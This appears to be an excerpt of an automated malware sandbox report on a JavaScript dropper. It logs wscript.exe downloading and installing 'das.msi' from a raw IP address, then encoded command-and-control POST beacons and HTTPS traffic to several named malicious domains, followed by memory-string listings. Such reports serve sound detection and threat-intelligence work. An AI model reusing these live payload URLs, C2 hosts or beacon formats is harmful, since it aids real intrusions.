Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 8041 -> 50052

Wscript install MSI file from remote location

Source: http://188.119.112.7/das.msi

IID Installer: C:\Windows\System32\wscript.exe

Source: global traffic	TCP traffic: 192.168.2.5:49705 -> 80.78.24.30:8041
Source: global traffic	TCP traffic: 192.168.2.5:49708 -> 82.115.223.39:8041

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 82.115.223.39 82.115.223.39
Source: Joe Sandbox View	IP Address: 80.78.24.30 80.78.24.30

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: MIDNET-ASTK-TelecomRU MIDNET-ASTK-TelecomRU
Source: Joe Sandbox View	ASN Name: CYBERDYNELR CYBERDYNELR

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: kALB+jBIcqFh9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: isomicrotich.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: kALB+jBIcqFg9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: isomicrotich.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: kALB+jBIcqFj9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: isomicrotich.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: kALB+jBIcqFi9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: isomicrotich.comContent-Length: 0Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.119.112.7

Source: C:\Windows\explorer.exe

Code function: 8_2_03055078 InternetReadFile,

8_2_03055078

Source: global traffic

HTTP traffic detected: GET /das.msi HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows InstallerHost: 188.119.112.7

Source: global traffic	DNS traffic detected: DNS query: bazarunet.com
Source: global traffic	DNS traffic detected: DNS query: greshunka.com
Source: global traffic	DNS traffic detected: DNS query: tiguanin.com
Source: global traffic	DNS traffic detected: DNS query: isomicrotich.com

Source: unknown

HTTP traffic detected: POST /test/ HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedCookie: kALB+jBIcqFh9baN0mUbkry70/OBhj9kRFFApZBql4EawZnSN3QqrUnsIQw7QdOqesy9dmntVXFHGxw5Mv+gazRt6m8J8V5Hg/GvY9DvAc6Ya81lXDJyArkIA11NUownH3IB6Y0gtSx3OHp9NFR/n0+B0klqqp57yBUl1vBMDU1wr4wR8ps=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: isomicrotich.comContent-Length: 92Cache-Control: no-cache

Source: wscript.exe, 00000000.00000002.2065296412.00000196D5AD6000.00000004.00000020.00020000.00000000.sdmp, Document-18-33-08.js	String found in binary or memory: http://188.119.112.7/das.msi
Source: ~DFED22D1FE613BF34C.TMP.1.dr, ~DF07B80D9F27CBE04D.TMP.1.dr, ~DF01B5DC13092BA872.TMP.1.dr, ~DF28B4DE99F83A16D6.TMP.1.dr, ~DF59A0B4535E503852.TMP.1.dr, inprogressinstallinfo.ipi.1.dr	String found in binary or memory: http://188.119.112.7/das.msi0
Source: ~DF93ACB531B807E54B.TMP.1.dr	String found in binary or memory: http://188.119.112.7/das.msi1737443152311351380
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000008.00000000.2452717662.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: explorer.exe, 00000008.00000002.3331052313.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2446927908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: explorer.exe, 00000008.00000000.2452717662.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000008.00000000.2452717662.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: explorer.exe, 00000008.00000000.2452717662.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: explorer.exe, 00000008.00000002.3346806877.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: rundll32.exe, 00000006.00000003.2927135917.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r10.i.lencr.org/0
Source: rundll32.exe, 00000006.00000003.2927135917.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r10.o.lencr.org0#
Source: explorer.exe, 00000008.00000000.2452162910.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.3344619758.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2451505146.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://t2.symcb.com0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://tl.symcd.com0&
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3333625550.000001FF4CF10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536162683.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536131672.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2444803935.000001FF4CA4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: rundll32.exe, 00000006.00000003.3197779910.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526696898.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2727327156.000001FF4CA51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3333625550.000001FF4CF10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2927135917.000001FF4CA50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477041735.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536162683.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2536131672.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2444803935.000001FF4CA4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: explorer.exe, 00000008.00000000.2456761349.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3351439546.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000008.00000000.2449894954.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3335475832.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094523211.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000008.00000000.2452717662.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000008.00000000.2449894954.0000000007637000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3335475832.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000008.00000002.3333615520.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2448316593.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com/
Source: rundll32.exe, 00000006.00000003.3030485400.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030793340.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/
Source: rundll32.exe, 00000006.00000003.3012131667.000001FF4CA78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/$E
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/&
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/U
Source: rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036648885.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/admin.php
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/admin.php.
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/admin.php3#
